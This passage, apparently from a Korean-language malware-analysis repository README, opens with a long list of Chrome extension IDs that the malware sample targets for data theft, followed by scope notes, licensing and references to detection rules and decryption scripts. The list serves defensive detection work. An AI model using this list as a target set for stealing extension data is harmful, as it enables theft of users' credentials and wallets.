mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip
범위 및 제한사항
- 이 저장소는 단일 악성코드 샘플과 해당 임베디드 구성의 정적 분석 및 복호화를 문서화합니다.
- 캠페인 귀속은 복구된 인프라 및 TTP 중복을 기반으로 한 분석적이며, 법 집행 기관의 귀속 진술이 아닙니다.
- 나열된 Chrome 확장 프로그램 ID는 데이터 도난을 대상으로 하는 합법적인 확장 프로그램을 식별하며, 악성 확장 프로그램이 아닙니다.
- 탐지 규칙은 프로덕션 배포 전에 대상 환경에서 검증 및 조정되어야 합니다.
- STIX 번들은 STIX 2.1을 따르지만 가독성을 위해 단순화된 ID를 사용합니다. 충돌 해소가 필요한 경우 프로덕션 CTI 플랫폼으로 가져오기 전에 UUID를 재생성하십시오.
릴리스 기록
버전별 업데이트는 CHANGELOG.md를 참조하십시오.
기여하기
지침, 이슈 템플릿 및 PR 체크리스트는 CONTRIBUTING.md를 참조하십시오.
라이선스
분석 텍스트 및 스크립트는 MIT 라이선스에 따라 공개됩니다. IOC 목록 및 위협 인텔리전스 콘텐츠는 방어 목적으로 제공되며, 라이선스 조건에 따라 상업 제품에서 재사용이 허용됩니다.
샌드박스 환경에서의 독립적인 리버스 엔지니어링. 암호화된 구성은 정적 분석 및 헬퍼별 CPU 에뮬레이션을 통해 복구되었습니다. scripts/decrypt_all.py 및 SECURITY.md를 참조하십시오.